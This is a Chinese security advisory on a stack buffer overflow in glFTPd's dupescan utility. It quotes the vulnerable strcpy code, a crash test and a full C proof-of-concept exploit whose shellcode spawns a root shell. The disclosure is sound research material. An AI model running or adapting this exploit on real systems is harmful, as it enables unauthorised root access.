发布日期：2004-09-19
更新日期：2004-09-22

受影响系统：

GlFtpd GlFtpd 2.00RC3

描述：

---

glFTPd是一款流行的FTP服务程序。

glFTPd包含的dupescan对参数缺少正确的缓冲区边界检查，本地攻击者可以利用这个漏洞进行缓冲区溢出攻击，可能以进程权限执行任意指令。

问题存在于'dupescan'在对参数进行处理时使用不安全的strcpy()函数：

--- dupescan.c ---
39: int main (int argc, char *argv[]) {
40:   FILE *fp;
41:   char dupename[255], dupefile[255], Temp[255];
42:   struct dupefile buffer;
43:   if (argc == 1){
44:     printf("USAGE: %s <filename>\n", argv[0]);
45:     return 0;
46:   }
47:
48:   read_conf_datapath(Temp);
49:   sprintf(dupefile, "%s/logs/dupefile", Temp);
50:
51:   strcpy(dupename, argv[1]); <----- THE BUG
52:   if((fp = fopen(dupefile, "r")) == NULL)
53:     return 0;
54:
--- dupescan.c ---

提交超长参数，可发生缓冲区溢出，精心构建参数数据可能以root用户权限执行任意指令。

<*来源：CoKi （coki@nosystem.com.ar）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109571917922634&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

CoKi （coki@nosystem.com.ar）提供了如下测试方法：

coki@nosystem:~$ /glftpd/bin/dupescan `perl -e 'print "A" x 300'`
Done
Segmentation fault
coki@nosystem:~$

/* glFTPd local stack buffer overflow exploit
   (Proof of Concept)

   Tested in Slackware 9.0 / 9.1 / 10.0

   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <strings.h>
#include <unistd.h>

#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"

char shellcode[]=
    "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
    "\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void) {

    char *env[3] = {shellcode, NULL};
    char buf[BUFFER], *path;
    int *buffer = (int *) (buf);
    int i;
    int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH);

    for(i=0; i<=BUFFER; i+=4)
    *buffer++ = ret;

    printf("\n glFTPd local stack buffer overflow (Proof of Concept)\n");
    printf(" by CoKi <coki@nosystem.com.ar>\n\n");

    execle(PATH, "dupescan", buf, NULL, env);
}

建议：

---

厂商补丁：

GlFtpd
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.glftpd.com/

浏览次数：4070
严重程度：0（网友投票）